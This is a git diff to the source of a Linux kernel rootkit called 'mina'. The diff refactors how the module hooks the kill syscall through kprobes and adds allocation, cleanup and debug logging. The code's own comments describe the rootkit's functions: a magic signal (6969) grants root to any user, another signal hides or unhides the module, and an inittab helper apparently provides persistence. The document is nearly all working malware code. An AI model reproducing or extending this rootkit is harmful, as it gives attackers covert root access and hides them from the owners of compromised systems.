diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -14,8 +14,10 @@ asmlinkage int64_t hook_syskill(const struct pt_regs *regs) {
/* FIXME(djnn): it seems this hook is actually never called...? */
- if (kill_original == NULL)
+ if (kill_original == NULL) {
+ printk(KERN_INFO "[mina] loading kill hook using linear search");
kill_original = syscall_linear_search(HOOK_SYSCALL_NAME);
+ }
int sig = regs->si;
@@ -24,6 +26,8 @@ asmlinkage int64_t hook_syskill(const struct pt_regs *regs) {
* Sending a signal 6969(to any pid) makes the given user become root,
*/
+ printk(KERN_INFO "[mina] signal num: %d\n", sig);
+
/* hide or unhide the module:) */
if (sig == SIGNAL_TOGGLE_HIDE) {
if (!is_hidden) {
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -13,12 +13,11 @@ void hide_module(void);
void readd_module(void);
typedef struct mina__hook {
- /* https://www.kernel.org/doc/Documentation/kprobes.txt */
- struct kprobe kpb;
- int64_t hookaddr;
-
- /* do we need anything else here ? */
+ void *hookaddr;
+ char hookname[HOOKNAME_MAX_SZ];
+ /* https://www.kernel.org/doc/Documentation/kprobes.txt */
+ struct kprobe *kpb;
} hook_t;
/* HOOKS definitions :) */
@@ -26,9 +25,8 @@ typedef struct mina__hook {
asmlinkage int64_t hook_syskill(const struct pt_regs *);
// hooks utils
-int nb_hooks(void);
void *syscall_linear_search(const char *hk_name);
int make_syscall(void *callme, const struct pt_regs *regs);
-int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r);
+int __kprobe_prehandler(struct kprobe *kp, struct pt_regs *r);
#endif
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -18,13 +18,13 @@ MODULE_VERSION("0.0.1");
hook_t SYS_HOOKS[] = {
/* used to trigger actions, prevent from killing some process, hide current rootkit */
- {.hookaddr = (int64_t)hook_syskill, .kpb = {.symbol_name = HOOK_SYSCALL_NAME}},
+ {.hookaddr = hook_syskill, .hookname = HOOK_SYSCALL_NAME, .kpb = NULL},
};
-int nb_hooks(void) {
- return (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]));
-}
+#define NB_HOOKS (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]))
+
+#define HOOKNAME_MAX_SZ 512
static int __add_inittab_entry(char const *entry) {
int ret = 0;
@@ -47,9 +47,12 @@ static int __add_inittab_entry(char const *entry) {
}
void *syscall_linear_search(const char *hk_name) {
- for (int i = 0; i < nb_hooks(); i++) {
- if (!strcmp(SYS_HOOKS[i].kpb.symbol_name, hk_name))
- return SYS_HOOKS[i].kpb.addr;
+ for (int i = 0; i < NB_HOOKS; i++) {
+ if (SYS_HOOKS[i].kpb == NULL)
+ continue;
+
+ if (!strcmp(SYS_HOOKS[i].kpb->symbol_name, hk_name))
+ return SYS_HOOKS[i].kpb->addr;
}
/* NOTE(djnn): what to do if the hook is not found ? */
@@ -69,15 +72,22 @@ inline int make_syscall(void *callme, const struct pt_regs *regs) {
return ret;
}
-int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
+int __kprobe_prehandler(struct kprobe *kp, struct pt_regs *r) {
+
+ printk(KERN_INFO "[MINA] entering prehandler (ip=%#lx => within_module ? %d)\n", r->ip, !within_module(r->ip, THIS_MODULE));
+ if (within_module(r->ip, THIS_MODULE)) {
+ return 0;
+ }
+
+ for (int i = 0; i < NB_HOOKS; i++) {
+ if (SYS_HOOKS[i].kpb == NULL)
+ continue;
- printk(KERN_INFO "[MINA] entering trampoline (kp=0x%p, ip=%#lx)\n", kp, r->ip);
- for (int i = 0; i < nb_hooks(); i++) {
/* if IP within current module, we are already in the hook */
- if (kp == &SYS_HOOKS[i].kpb && !within_module(r->ip, THIS_MODULE)) {
- printk(KERN_INFO "[MINA] hit hook for %s\n", SYS_HOOKS[i].kpb.symbol_name);
+ if (strcmp(kp->symbol_name, SYS_HOOKS[i].hookname) == 0) {
+ printk(KERN_INFO "[MINA] hit hook for %s => %#lx\n", SYS_HOOKS[i].kpb->symbol_name, (unsigned long)SYS_HOOKS[i].hookaddr);
r->ip = (unsigned long)SYS_HOOKS[i].hookaddr;
- return 0;
+ return 1;
}
}
return 0;
@@ -85,28 +95,62 @@ int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
static int __setup_hooks(void) {
hook_t *iter = NULL;
- for (int i = 0; i < nb_hooks(); i++) {
+ for (int i = 0; i < NB_HOOKS; i++) {
iter = &SYS_HOOKS[i];
- iter->kpb.pre_handler = __hook_tranpoline;
-
- printk(KERN_INFO "[MINA] calling register_kprobe() for %s\n", iter->kpb.symbol_name);
- if (register_kprobe(&iter->kpb) == 0) {
- printk(KERN_INFO "[MINA] hooked %s (0x%p => %#llx)",
- iter->kpb.symbol_name,
- iter->kpb.addr,
- iter->hookaddr);
- } else
- return -1;
+
+ iter->kpb = kzalloc(sizeof(struct kprobe), GFP_KERNEL);
+ if (iter->kpb == NULL) {
+ printk(KERN_WARNING "[mina] kzalloc() failed while registering kprobes");
+ goto bailout;
+ }
+
+ iter->kpb->symbol_name = kzalloc(HOOKNAME_MAX_SZ, GFP_KERNEL);
+ if (iter->kpb->symbol_name == NULL) {
+ printk(KERN_WARNING "[mina] kzalloc() failed while registering kprobe symbol_name");
+ goto bailout;
+ }
+
+ strscpy(iter->kpb->symbol_name, iter->hookname, HOOKNAME_MAX_SZ);
+ if (iter->kpb->symbol_name == NULL) {
+ printk(KERN_WARNING "[mina] strncpy() failed while registering kprobes");
+ goto bailout;
+ }
+
+ printk(KERN_INFO "[mina %d] calling register_kprobe() for %s\n", i, iter->kpb->symbol_name);
+ int kp = register_kprobe(iter->kpb);
+ printk(KERN_INFO "[mina] result => %d", kp);
+
+ if (kp != 0) {
+ printk(KERN_WARNING "[mina] register_kprobe() failed");
+ continue;
+ }
}
return 0;
+
+bailout:
+ for (int i = 0; i < NB_HOOKS; i++) {
+ iter = &SYS_HOOKS[i];
+
+ if (iter->kpb == NULL)
+ continue;
+
+ unregister_kprobe(iter->kpb);
+ if (iter->kpb->symbol_name != NULL)
+ kfree(iter->kpb->symbol_name);
+
+ kfree(iter->kpb);
+ }
+
+ return -1;
}
static void __remove_hooks(void) {
hook_t *iter = NULL;
- for (int i = 0; i < nb_hooks(); i++) {
+ for (int i = 0; i < NB_HOOKS; i++) {
iter = &SYS_HOOKS[i];
- unregister_kprobe(&iter->kpb);
+ unregister_kprobe(iter->kpb);
+ kfree(iter->kpb);
}
}
| | |